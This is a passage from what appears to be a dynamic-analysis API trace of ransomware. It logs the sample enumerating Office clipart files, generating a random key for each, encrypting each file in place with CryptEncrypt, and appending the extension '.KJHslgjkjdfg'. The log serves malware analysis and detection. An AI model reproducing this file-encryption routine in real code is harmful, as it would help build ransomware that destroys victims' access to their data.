returned 1 [0201.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.590] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.590] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.590] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.590] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.590] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6b01, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6b01, lpOverlapped=0x0) returned 1 [0201.591] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6b10) returned 1 [0201.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.591] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6b10, lpOverlapped=0x0) returned 1 [0201.591] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.591] SetEndOfFile (hFile=0x130) returned 1 [0201.594] GetProcessHeap () returned 0x2ef0000 [0201.594] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.594] GetProcessHeap () returned 0x2ef0000 [0201.594] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.kjhslgjkjdfg")) returned 1 [0201.595] CloseHandle (hObject=0x130) returned 1 [0201.595] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0201.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.596] GetProcessHeap () returned 0x2ef0000 [0201.596] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.596] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.597] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0201.598] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.598] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.598] GetProcessHeap () returned 0x2ef0000 [0201.598] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.598] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.598] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.598] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.599] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.599] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.599] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.599] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.599] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.599] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfd22, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfd22, lpOverlapped=0x0) returned 1 [0201.601] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfd30, dwBufLen=0xfd30 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xfd30) returned 1 [0201.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.601] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xfd30, lpOverlapped=0x0) returned 1 [0201.602] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.602] SetEndOfFile (hFile=0x130) returned 1 [0201.605] GetProcessHeap () returned 0x2ef0000 [0201.605] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.605] GetProcessHeap () returned 0x2ef0000 [0201.605] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.kjhslgjkjdfg")) returned 1 [0201.606] CloseHandle (hObject=0x130) returned 1 [0201.606] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0201.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.607] GetProcessHeap () returned 0x2ef0000 [0201.607] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.607] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.607] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.609] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.609] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.609] GetProcessHeap () returned 0x2ef0000 [0201.609] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.609] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.609] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.609] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.609] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.610] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.610] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.610] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.610] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.610] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.610] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb544, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb544, lpOverlapped=0x0) returned 1 [0201.611] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb550, dwBufLen=0xb550 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb550) returned 1 [0201.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.612] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb550, lpOverlapped=0x0) returned 1 [0201.612] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.612] SetEndOfFile (hFile=0x130) returned 1 [0201.615] GetProcessHeap () returned 0x2ef0000 [0201.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.615] GetProcessHeap () returned 0x2ef0000 [0201.615] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.kjhslgjkjdfg")) returned 1 [0201.617] CloseHandle (hObject=0x130) returned 1 [0201.617] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0201.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.618] GetProcessHeap () returned 0x2ef0000 [0201.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.618] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.618] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0201.620] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.620] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.620] GetProcessHeap () returned 0x2ef0000 [0201.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.620] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.620] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.620] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.620] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.620] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.620] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.621] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.621] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.621] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.621] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x212e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x212e, lpOverlapped=0x0) returned 1 [0201.622] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2130, dwBufLen=0x2130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2130) returned 1 [0201.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.622] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2130, lpOverlapped=0x0) returned 1 [0201.622] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.622] SetEndOfFile (hFile=0x130) returned 1 [0201.625] GetProcessHeap () returned 0x2ef0000 [0201.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.625] GetProcessHeap () returned 0x2ef0000 [0201.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.kjhslgjkjdfg")) returned 1 [0201.626] CloseHandle (hObject=0x130) returned 1 [0201.626] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1104, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151041.WMF", cAlternateFileName="")) returned 1 [0201.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.628] GetProcessHeap () returned 0x2ef0000 [0201.628] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.628] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.628] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.630] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.630] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.630] GetProcessHeap () returned 0x2ef0000 [0201.630] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.630] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.630] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.630] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.630] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.631] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.631] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.631] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.631] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.631] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1104, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: 